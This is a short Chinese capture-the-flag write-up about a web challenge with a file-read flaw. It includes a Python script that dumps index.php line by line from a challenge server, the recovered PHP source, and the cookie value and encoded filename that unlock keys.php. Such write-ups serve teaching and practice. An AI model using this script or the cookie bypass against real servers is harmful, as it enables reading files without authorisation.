打开场景,直接在url里面带了filename,明显的文件读取漏洞
利用脚本读取index.php的所有内容
——------------------------------

#! /usr/bin/python
import requests
a=30
for i in range(a):
    url="http://120.24.86.145:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" 
    s=requests.get(url)
    print s.text

读取出来的代码

<?php

error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list = array(

'0' =>'keys.txt',

'1' =>'index.php',

);

 

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

 

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

源码分析
如果file在file-list里面,就读取文件内容,默认只能读取keys.txt和index.php
想要读取keys.php,带一个cookie就可以了
?line=0&filename=a2V5cy5waHA=
burpuite抓包 repeater 加cookie即可
参考视频链接:https://www.bilibili.com/video/BV1hB4y1T7to/

更多推荐